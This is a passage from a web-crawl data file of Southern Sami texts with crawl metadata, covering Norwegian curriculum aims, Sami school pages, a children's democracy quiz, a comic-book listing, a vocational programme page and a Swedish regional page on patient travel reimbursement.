seammavyörtegsvoeten bijjeli. Vitnedimmiefaagesne learohkh edtjieh haestemh jïh laavenjassh loetedh aktene gellielaaketje lïeremeektievoetesne. Faage edtja aaj dej heartoeh haestedh jïjtsh raasth guhkiedidh. Stååkedimmie, ålkone årrodh, daanhtsoe, voejeme, gaarsjelimmiedarjomh jïh jeatjah svihtjemedarjomh leah akte bielie dehtie ektie hammoedimmeste jïh identiteetesjugniedimmeste seabradahkesne. Vitnedimmie aerpievuekien svihtjemedarjomh seabradahkesne gorrede, men aaj skreejrehte eksperimenteeredh jïh kreatijve årrodh jeatjah svihtjemehammoej bïjre. Vitnedimmie laejhtehks ussjedimmiem eevtjie kråahpe-idealen bïjre mij maahta jïjtjedomtesem, healsoem, saavremem jïh jieledevuekiem baajnehtidh. Darjomh ålkone jïh eatnamisnie mïnnedh våaromem vadta eatneme-aavose, ååktemasse eatnamasse jïh byjresevoerkesvoete.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/kro01-05\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2023-09-22T17:29:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506421.14\/warc\/CC-MAIN-20230922170343-20230922200343-00619.warc.gz","language":"sma","language_score":1.0000089407,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000089406967163}","num_words":100,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.115,"stopwords_ratio":0.15,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiengïelesne mubpiengïeline 4 (SAS04‑01)\nMaahtoeulmieh jïh vuarjasjimmie\nMaahtoeulmie jåa2 barkoefaageles ööhpehtimmieprogrammen mænngan\n- baakoeh jïh baakoetjïerth jïjtse aarkebiejjien jïh lïhkes byjreski bïjre nuhtjedh\nNuhtjedh sæjhta jiehtedh mijjieh nåhtoem mestie akt vaeltebe jallh dahkoem darjobe juktie aktem ulmiem jaksedh. Nuhtjedh lea mahte seamma goh nåhtadidh, åtnose vaeltedh, vuesiehtimmien gaavhtan akte vuekie jallh dïrrege.\n- dååjresi jïh soejkesji bïjre soptsestalledh jïh soptsestidh\n- åehpies teemah tjïelkestidh jïh åehpiedehtedh\nÅehpiedehtedh lea vuesiehtidh, tjïelkestidh jïh aktem faageles teemam jallh dorjesem buektedh. Maahta joekehtslaakan åehpiedehtedh, men ulmie åehpiedehtieminie lea teemam jallh dorjesem åehpies darjodh mubpide. Åehpiedehtedh maahta aaj årrodh illustreredh jïh demonstreradidh.\n- teeksth jïh saemien soptsesh goltelidh jïh lohkedh jïh dejgujmie kreatijvelaakan barkedh\n- åenehks teeksth tjaeledh mah bievnieh, soptsestieh jïh gihtjieh\n- tjïelkelaakan soptsestidh jïh baakoeh sojjehtidh jïh raajesh tseegkedh guktie mubpieh guarkoeh","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/sas04-01\/kompetansemaal-og-vurdering\/kv229?lang=sma","date":"2023-09-26T15:43:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510214.81\/warc\/CC-MAIN-20230926143354-20230926173354-00707.warc.gz","language":"sma","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000079870224}","num_words":123,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.187,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ragnarok: FenrisesïejpeAv Odin Helgheim\nSørsamisk utgave av Ragnarok bok 1, Fenrisulven.\nJupmeli faamoej nuelesne Daate soptsese dan bïjre gosse jïjtse faamoem veaksahkåbpoej gïeti sïjse dassa jïh aalka tjabremen dam bååstede vaeltedh. Vikingebaernien, Ubbe Gunnhildssonen, lea gaajhke maam daarpesje. Veaksehks ietnie gie satnem eahtsa, væjkeles vïelle gie satnem bïhkemde, gïemhpes voelph jïh jeenje jeatjebe mij jieliemisnie luste. Mij dle daan raaffan aajhtojne maahta njaakedh?\nOdin Helgheim (reakadi 1996) Sandefjordeste båata, jïh maanabaelien gille jaepieh USA:sne årroeji. Dubpene sutnjan buelijes ïedtjh guvvieraajrojste tsïhkijin jïh dusnie jïjtje aaj eelki saarkodh. «Ragnarok - Fenrisesïejpe» sov voestes guvvieraajroeromaane.\n- Lager\n- På lager","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/serie.no\/produkt\/ragnarok\/ragnarok-bok-1-fenrisulven-sorsamisk","date":"2023-09-25T10:42:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233508959.20\/warc\/CC-MAIN-20230925083430-20230925113430-00313.warc.gz","language":"sma","language_score":0.9998607635,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9998607635498047}","num_words":93,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.075,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Demokratiquiz 1. Mij dïhte demokratije? Dah gïeh vuastalieh aaj nænnoestieh Almetjh nænnoestieh Gånka nænnoste 2. Sveerjesne mij gååvnese maam gohtje representatijve demokratije. Mij dïhte? Dellie jïeneste\/ dejtie politihkeridie gïeh mahte seammalaakan ussjedieh goh datne. Dan mænngan dejtie mejtie veeljeme åadtjoeh ovmessie gyhtjelassh nænnoestidh. Sveerjesne åadtjoeh jïenestidh saaht mij gyhtjelassi bïjre Gånka edtja almetjh goltelidh aerebe nænnoste 3. Gïeh dah åadtjoeh Sveerjesne jïenestidh? Gaajhkesh gïeh mobijletellefovnem utnieh mej lea rösta-appen Gaajhkesh gïeh dagkere sjïere demokratije-pryövem buektiehtamme Almetjh gïeh 18 jaepieh illeme 4. Man guhkiem nyjsenæjjah Sveerjesne åådtjeme jïenestidh? Vikinge-aejkeste Gosse voestes aejkien gööktekammere -rïjhkebeajjan jaepien 1866 jïenestin Jaepeste 1921 5. Dïhte bijjemes åvtehke aktene laantesne gohtje staatenåejvie. Gie dïhte Sveerjesne? Gånka Staateministere Överbefälhavaren (Försvarsmakten dan åejvie) 6. Sveerjesne naan laakh mah ij leah gåvva jeatjahtehtedh. Dah gååvnesieh juktie edtjieh demokratijem vaarjelidh. Guktie dejtie gåhtjoeh? Maadthlaakh Författningsskyddet Gierkietaavlah 7. Åssjalommesh demokratijen bïjre maehtieh skuvlesne provhkedh. Gelline skuvline siebrieh gååvnesieh gusnie learohkh ektesne sijjen skuvlem maehtieh baajnehtidh. Guktie dam gohtje? Skuvledigkie Learohkeraerie Maanaplattform 8. Maanaj reaktah abpe veartanisnie tjaatsegasse tjaalasovveme mejtie EN\/FN nænnoestamme. Dam gohtje: Maanareaktalaake Noeredeklarasjovne Maanakonvensjovne Veeljh jeatja quiz Quizem staeredh","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.polarbibblo.se\/sma-se\/spealadidh\/quize\/demokratiquiz\/","date":"2023-10-01T12:32:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510888.64\/warc\/CC-MAIN-20231001105617-20231001135617-00838.warc.gz","language":"sma","language_score":0.9999644756,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999644756317139}","num_words":169,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.146,"stopwords_ratio":0.036,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juakasovveme Bertije Sametinget i Finland Faage Vætnoe Musihke Saemien 1 Saemien 2, 3 jïh 4 Siebriedahkefaage Finlaanten gïele Saemien histovrije jïh siebriedahke Saemien musihke jïh scena Daltese 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Jeatjah saemien gïelh Soemengïele Noerhtesaemiengïele Formaate Gaskeviermiesæjroe Reakta-aajhtere Sametinget i Finland Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Aerpiemaahtoe Beapmoe Eatnemenåhtoe Vuelie Njaalmeldh kultuvre Duedtie Kultuvre Litteratuvre Musihke Siebriedahke Skuvle jïh ööhpehtimmie Saemiengïele Viehkiebaakoe Plaerie","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/node\/15560","date":"2023-09-23T03:52:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506479.32\/warc\/CC-MAIN-20230923030601-20230923060601-00319.warc.gz","language":"sma","language_score":0.9992936254,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9992936253547668}","num_words":61,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.164,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Musihke saemien (MUS02‑02)\nMaahtoeulmieh jïh vuarjasjimmie\nMaahtoeulmie 4. daltesen mænngan\n- ´såemies vuelieh, laavlomh jïh daanhtsoeh darjodh jïh goerehtidhsaemien kultuvreste jïh jeatjah musihkekultuvrijste\nGoerehtidh lea dååjredh jïh eksperimenteradidh, jïh maahta tjetskehkevoetem jïh onterdimmiem gorredidh. Goerehtidh maahta årrodh daajedh, ohtsedh, vueptiestidh, vïhtesjidh jallh kraanskodh. Såemies aejkien sæjhta årrodh ovmessie bielieh aktede aamhtesijstie goerehtidh akten ræhpas jïh laejhtehks digkiedimmien tjirrh. Goerehtidh maahta aaj årrodh teestadidh jallh pryövedh jïh barkoevuekieh, dorjesh jallh dalhketjh evalueradidh.\n- ´joejkedh, laavlodh jïh instrumeenth tjoejehtidh oktegh jïh mubpiejgujmie ektine viehkine gehøreste jïh aelhkie notasjovneste\n- jievkehtimmiejgujmie, melodijigujmie jïh jeatjah maadthbiehkiejgujmie eksperimenteeredh, möönsterh laavkedh komposisjovnide, aaj viehkine digitaale dïrregijstie, jïh barkoeprosessh jïh illedahkh åehpiedehtedh\nÅehpiedehtedh lea vuesiehtidh, tjïelkestidh jïh aktem faageles teemam jallh dorjesem buektedh. Maahta joekehtslaakan åehpiedehtedh, men ulmie åehpiedehtieminie lea teemam jallh dorjesem åehpies darjodh mubpide. Åehpiedehtedh maahta aaj årrodh illustreredh jïh demonstreradidh.\n- jïjtsh musihkedååjresh buektedh jïh åtnoem musihkales vierhkievierhtijste buerkiestidhviehkine aelhkie faagebaakoetjïertijste joekoen vuelien jïh jeatjah saemien musihken bïjre\nBuerkiestidh lea guvviedidh jallh vaajestidh aktem dååjresem, heannadimmiem, barkoeprosessem jallh faageles teemam. Maam akt buerkiestidh aaj maahta årrodh sjyöhtehke faagedïejvesh nuhtjedh juktie daajroem teeman bïjre systematiseradidh.\n- soptsestalledh jïh ussjedadtedhguktie musihke mïelem sjugnede gosse ovmessie sosijaale ektiedimmine åtnasåvva\nUssjedadtedh lea goerehtidh jïh ussjedadtedh ovmessie bieliej bijjeli jïjtsh jallh mubpiej dahkojne, vuajnojne jïh åssjalommesinie. Maehtebe aaj ussjedadtedh akten aamhtesen bijjelen, praktihkeles darjomi bijjeli jallh jïjtse lïeremen bijjelen. Ussjedadteme lea jïjtse åssjaldahkh jïh vuajnoeh pryövedh juktie buerebe daajroem jïh goerkesem evtiedidh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.udir.no\/lk20\/mus02-02\/kompetansemaal-og-vurdering\/kv198?lang=sma","date":"2023-10-04T02:15:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511351.18\/warc\/CC-MAIN-20231004020329-20231004050329-00331.warc.gz","language":"sma","language_score":1.000007391,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0000073909759521}","num_words":227,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.172,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemieskuvleståvroe aarhskuvlh juhtiehtieh daej tjïelti stillemistie: Dearna, Jåhkåmåhkke, Váhtjer, Giron jïh Gárasavvon. Aarhskuvle jearsoes saemien byjreskem faalehte jïh aarhskuvlen learoesoejkesjen mietie Learoesoejkesje aarhskuvlese barka.\nAarhskuvlen byjreske dovne gåetesne jïh ålkone saemien aerpie- jïh jielemevuekiem guadta. Mijjen aarhskuvline eatneme sijjie mij maanide eadtjalduvvieh jïh gusnie vueptiestieh jïh lierieh dejtie gaektsie jaepieboelhkide jïh guktie dah jeatjahtehtieh. Pedagååkh berkieh gïelem evtiedidh, desnie saemiengïele jïh jieleden lïereme jarngesne.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sameskolstyrelsen.se\/sy\/oohpehtimmie\/aarhskuvle\/","date":"2023-12-01T07:30:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100276.12\/warc\/CC-MAIN-20231201053039-20231201083039-00530.warc.gz","language":"sma","language_score":1.0000003576,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000003576278687}","num_words":64,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem englaantengïelesne Jåa1 barkoefaageles ööhpehtimmieprogrammesne vuesiehtieh jïh evtiedieh gosse gaskesedtieh jïh laavenjostoeh jeereldihkie jïh veele, galkije jïh ektiedimmine njaalmeldh jïh tjaaleldh, sjïehtedamme aajkose, dåastoejasse jïh tseahkan. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse ovmessie såarhts teeksth sjugniedieh gusnie bïevnesh gaaltijijstie leah meatan vaalteme ussjedammeslaakan.\nLohkehtæjja edtja sjïehteladtedh learohkh leah meatan jïh lïeremelastose skreejrehtidh viehkine åtnose vaeltedh jeereldihkie strategijh jïh lïeremevierhtieh juktie learohki lohkememaahtoeh jïh njaalmeldh jïh tjaaleldh tjiehpiesvoeth evtiedidh. Learohkh edtjieh åadtjodh dååjredh oktegh jallh mubpiejgujmie ektine pryövedh lea akte bielie gïelelïeremisnie. Lohkehtæjja jïh learohkh edtjieh soptsestalledh learohki evtiedimmien bïjre englaantengïelesne. Dan maahtoem mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh sijjieh buektiehtieh, jïh jïjtsh faageles evtiedimmien bijjeli ussjedadtedh. Lohkehtæjja edtja bïhkedidh dan guhkiebasse lïeremen bïjre jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedassem nuhtjedh sov njaalmeldh jïh tjaaleldh tjiehpiesvoeth faagesne guhkiebasse evtiedidh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/eng01-04\/kompetansemaal-og-vurdering\/kv5?lang=sma","date":"2023-12-08T03:12:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100710.22\/warc\/CC-MAIN-20231208013411-20231208043411-00530.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":147,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.117,"stopwords_ratio":0.156,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije Sametinget i Finland Vaadtasovvemejaepie 2008 Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Jeatjah saemien gïelh Noerhtesaemiengïele ISBN 9789524411509 Formaate Sïejhme gærja Reakta-aajhtere Sametinget i Finland Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 86 Aamhtesh Kultuvre Kåanste Litteratuvre Saemiengïele Gïelh jïh smaaregh heevehtslitteratuvre Viehkiebaakoe Enaresaemiengïele Luvliesaemien","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/node\/14304?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2023-12-02T14:48:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100427.59\/warc\/CC-MAIN-20231202140407-20231202170407-00578.warc.gz","language":"sma","language_score":0.9995680451,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9995680451393127}","num_words":45,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.186,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne lïerh\n- produksjovnesoejkesjimmien jïh produksjovneprosessi bïjre\n- automatiseeremen jïh programmereren bïjre robotijstie\n- maasjinaj jïh produksjovnedalhketji bïjre\n- vuajastahki jïh foeresjimmien bïjre\n- tjeemiske prosessi jïh tjeemiteknihken bïjre\n- healsoen, byjresen jïh jearsoesvoeten bïjre\nDatne byörh\n- praktihkeles årrodh jïh væjkele årrodh gïetigujmie barkedh\n- jïjtjeraarehke jïh veele\n- ïedtjem utnedh orre teknologijesne\nDatne maahtah sjïdtedh\n- aluminijumekonstruktööre, sveejsere jallh plaatabarkije\n- dïrregedarjoje jallh fijnemekanihkere\n- faagelaboraante jallh operatööre tjeemiske prosesseindustrijesne\n- industrijegåaroje, operatööre trikotasjesne jallh bissemesijjieoperatööre\n- bïjleskaaradavvoje, bïjlemekanihkere jallh bïjlelahkerere\n- logistihkeoperatööre jallh barkoevuejije\n- tseegkeldahke-, laanteburriemaasjina- jallh motovremekanihkere\n- bovresjimmie- jïh prutnieoperatööre\n- matrovse jallh skïhpemekanihkere\nVuartesjh gaajhkh barkoeh jïh maahtoeh\nBarkoesijjieh\n- teknihkeles jïh elektromekanihkeles industrije\n- skïhpeindustrije jallh bïjleindustrije\n- tjeemiske prosesseindustrije jallh tekoindustrije\n- bïjlesuerkie jallh åljasuerkie\n- vaaroe- jallh foeresjimmiesïelth\nGuhkiebasse ööhpehtimmie\nBarkoefaageles lïerehtimmie barkoemaahtoem ulmine åtna (faage- jallh svenneprievine jallh namhtah). Barkoefaageles lïerehtimmiem mænngan maahtah barkosne aelkedh jallh guhkiebasse ööhpehtimmiem vaeltedh:\n- Maahtah jåarhkeööhpehtimmiem vaeltedh faageskuvlesne. Faageskuvleööhpehtimmie lea åenehks jïh barkoestuvreme jåarhkeööhpehtimmie mij lea ussjedamme dejtie mah barkoefaagem vaadtseme.\n- Maahtah Jåa3 lissiebigkemem sïejhme studijemaahtose vaeltedh\n– Jåa 2:n mænngan jallh\n– mænngan barkoemaahtoem jakseme.\nDellie nuepiem åtnah jollebe ööhpehtimmiem vaeltedh jïlleskuvlesne jallh universiteetesne. Mujhtieh såemies studijh, v.g. insjenööre-, realfaage- jïh medisijnen studijh, krievieh dov leah vihties realfaagh.\n- Maahtah aaj tsaekemem ohtsedh jollebe ööhpehtæmman åvtekuvsjen mænngan B-geajnoen tjïrrh, barkoefaageles geajnoe jollebe ööhpehtæmman. B-geajnoe lea ussjedamme dutnjien mij sjyöhtehke barkoemaahtoem åtna. Åvtekuvsjh jïh B-geajnoe leah sïejhmemes realfaage- jïh insjenöörestudiji sisnjeli.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/teknologije-jih-industrijefaagh\/program\/v.tp","date":"2023-12-05T16:35:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100551.2\/warc\/CC-MAIN-20231205140836-20231205170836-00778.warc.gz","language":"sma","language_score":0.9999982119,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999982118606567}","num_words":211,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemieskuvle Jåhkåmåhkken jarngesne miehtsien jïh Dálvvadisjaevrien lïhke. Saemieskuvle akte skuvle learoehkidie aarhskuvleklaasseste govhtede jaepiekuvsjese jïh eejehtshïejme jïh aarhskuvle Skierri. Lohkehtimmie Learoesoejkesjinie saemieskuvlese, aarhskuvlese jïh eejehtshïejmese jåhta. Jåhkåmåhkken saemieskuvlesne tjöövke gusnie gaajhkem beapmoem maanide jïh learoehkidie jurjiehtieh.\nAarhskuvle Giella dajvesne Nyborg miehtsien jïh Dálvvadisjohken lïhke. Aarhskuvle saemien åssjalommesi mietie learoesoejkesjinie aarhskuvlese barka jïh sijjen beapmoeh saemieskuvlen tjöövkeste åådtje.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sameskolstyrelsen.se\/sy\/aarhskuvle-skuvle-eejehtshiejme\/jahkamahkke-jokkmokk-sydsamiska\/","date":"2023-12-05T04:29:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100545.7\/warc\/CC-MAIN-20231205041842-20231205071842-00686.warc.gz","language":"sma","language_score":0.9999064207,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999064207077026}","num_words":57,"character_repetition_ratio":0.098,"word_repetition_ratio":0.0,"special_characters_ratio":0.107,"stopwords_ratio":0.158,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gaajhkh faagh edtjieh viehkiehtidh lïerehtimmien aarvoevåaromem realiseeredh. Barkoen tjïrrh faagine gaajhkh learohkh edtjieh jearsoe utnijh englaantengïeleste sjïdtedh, guktie maehtieh englaantengïelem nuhtjedh lïeredh, gaskesadtedh jïh baantem mubpide ektiedidh. Daajroe jïh kraanskoje geatskanimmie gïelese, gaskesadtememöönsteridie, jieledevuekide, ussjedimmievuekide jïh seabradahketsiehkide orre perspektijvh vedtieh veartenasse jïh jïjtsanne. Faage edtja viehkiehtidh learohki goerkesem evtiedidh guktie dah veartenem guarkoeh lea jearohke kultuvreste. Daate maahta jienebh vuekieh vedtedh veartenem toelhkestidh, viehkiehtidh tjetskehkevoetem jïh eadtjohkevoetem sjugniedidh, jïh meatan årrodh åvtelhaarvoeh hööptedh. Learohkh edtjieh åadtjoeh dååjrehtidh jienebh gïelh maehtedh lea vierhtie skuvlesne jïh seabradahkesne. Learoesoejkesje englaantengïelesne jïh learoesoejkesje learoehkidie væhtagïeline leah seammavyörtegs.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/eng01-04\/om-faget\/fagets-relevans-og-verdier?lang=sma","date":"2023-11-30T00:39:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100164.15\/warc\/CC-MAIN-20231130000127-20231130030127-00078.warc.gz","language":"sma","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000094175338745}","num_words":93,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.114,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jïjtjemaaksoe jïh dåarjoe\nMaahtah reaktam utnedh maaksoem åadtjodh feelemen mænngan dejtie vuelkememaaksojde mah utnih. Sjïere feelemidie åadtjoeh gaajhkem jallh bielie maaksojste jïjtje maeksedh. Dam gohtje jïjtjemaaksoe.\n- Feelemh ektievalkesinie (busse jïh tååge mubpien klaassesne) leenen sisnie ij jïjtjemaaksoem utnieh. Jis aktenleahpan åasa lea jollebe 86 kråvnah åadtjoeh gaajhkem dåarjodh. Feelemi åvteste bussine jïh tåågine mij aelpebe 86 kråvnah ih dåarjoem åadtjoeh.\n- Jis taksine, jïjtje bïjline jallh mubpie leenese vualkeme åadtjoeh dåarjoem dan åvteste mij lea jienebe enn jïjtjemaaksoen 200 kråvnah.\n- Jis dov privaate bïjlem nuhtjh åadtjoeh dåarjoem mij lea 15 kråvnah mïjlen gaavhtan dan åvteste mij lea jienebe enn jïjtjemaaksoen 200 kråvnah.\nIh dåarjoem åadtjoeh tjöödtjestimmiemaaksoen jallh mubpiej åasaj gaavhtan. Dutnjien gie daamhtaj hoksesne mïnnh gååvnese jollemaaksoevaarjelimmie skïemtjefeelemi gaavhtan.\nJollemaaksoevaarjelimmie skïemtjefeelemi gaavhtan\nJollemaaksoevaarjelimmie lea datne jeenjemes 2 400 kråvnah maaksah jïjtjemaaksojne skïemtjefeelemi gaavhtan luhkiegöökte askenboelhkesne. Tïjjem ryöknoe dehtie daatojste gosse voestes aejkien feelih.\nNaemhtie dåarjoem ohtsedh\nGosse dåastovisnie bïeljelh dov hoksemïnnemisnie maahtah gihtjedh jis goerem åadtjoeh man nomme \"Begäran om resebidrag\/intyg om vård\" (Krïeveme mïnnemedåarjoen bïjre\/vihtiestimmie hoksen bïjre).\nDievhtieh goerem jïh seedth dam påastine Reseservicen gåajkoe (dam ektievoete Regijovne Västerbottenisnie mij skïemtjefeelemh gïetede):\nSjukresor\n901 85 Umeå\nMujhtieh leahpah seedth jis dov leah. Jis båarasåbpoe 19 jaepien jïh dåeriedæjjam daarpesjh tjuara hoksebarkijh dievhtieh dam goeresne jïh dam nualan tjaeledh. Datne maahtah aaj goerem vedtedh leahpajgujmie jïh nualantjaeleminie hoksevedtiejistie dejtie sjïere rööpses påastelåadide mah skïemtjegåetine gååvnesieh.\nFeeleme taksijinie jallh sjïerefoeresjimmine\nJis hoksebarkijh vuarjasjieh datne daarpesjh dov hoksemïnnemisnie taksine jallh sjïerefoeresjimmine dov medisijnen tsiehkien gaavhtan dellie datne feelemem Reseservicen luvnie dængkodh. Dængkoeh feelemem seejnemes göökte aarkebiejjiej åvtelen soejkesjamme mïnneme.\nKrööhkesth hoksebarkijh vuertieh dov hoksemïnnemen mænngan åvteli nænnoestieh jis dov medisijnen sjïeki gaavhtan daarpesjh gåatan taksine jallh sjïerefoeresjimmine vuelkedh. Hoksebarkijh dam hïejmefeelemem dellie dængkoeh.\nJis datne skïemtjedh jïh hoksem dallegh daarpesjh maahtah Reseservicem bïeljelidh jïh feelemem dængkodh.\nDåeriedæjjah\nJis datne viehkiem dåeriedæjjeste daarpesjh persovne åådtje dåarjoem sov feelemasse. Dåeriedæjja tjuara meatan årrodh abpe feelemisnie jïh mïnneminie. Dïhte lea hoksebarkijh gïeh vuarjasjieh jis datne dåeriedæjjam daarpesjh meatan. Maanah jïh noerh 19 jaepien raajan eejnegen reaktam utnieh dåeriedæjjese.\nFeelemedængkomem jorkesidh\nJis datne tjoerh dovne feelemem jïh mïnnemem jorkesidh jis ih maehtieh båetedh soejkesjamme hoksemïnnemasse. Dellie feelemem jorkesh gosse Reseservicen gåajkoe ringkedh. Jis ih jorkesh tjoerh feelemen åvteste maeksedh.\nFeeleme leenen ålkolen\nBïeljelh Reseservicem jïh åadtjoeh viehkiem feelemem öörnedh leenen ålkolen. Dellie kreava:\n- Dov lea sjïereremisse Regijovne Västerbottenistie man bïjre Reseservice lea vihtiestimmiem åådtjeme.\n- Vihtiestimmie vuesehte maam daarpesjh gosse galkh feeledh jïh jis dåeriedæjjam daarpesjh.\nLatjkoen mietie Reseservicinie maahtah aaj feelemem jïjtje öörnedh. Dellie åadtjoeh dåarjoem man våarome lea mij vihtiestimmesne tjåådtje. Dåarjoe lea feelememaaksoeh. Datne ohtsedh jïh leahpah seedtedh dov hoksemïnnemistie Reseservicen gåajkoe.\nMaahtah jïjtje hoksem ohtsedidh leenen ålkolen men dellie tjoerh abpe feelemem jïjtje maeksedh.\nGosse ektievalkese faatoes\nJis ij ektievalkese gååvnesh dov lïhke maahtah viehkiem åadtjodh ektiedimmie-taksijem dængkodh. Dellie edtjh guhkebe biehkiem feelemistie ektievalkesinie jïh ektiedimmie-feeleme ajve åenehks biehkie.\nDængkoeh ektiedimmie-feelemem Reseservicen luvnie seejnemes göökte aarkebiejjiej åvtelen.\nGaskesadtemebïevnesh Reseservicen gåajkoe\nSeedth dov ohtsemem dåarjoen bïjre Reseservicen gåajkoe påastine. Jis dov gyhtjelassh skïemtjefeelemen dåarjoen bïjre maahtah Reseservicem ringkedh.\nPåastedresse:\nSjukresor\n901 85 Umeå\nTelefovne: 0771-25 10 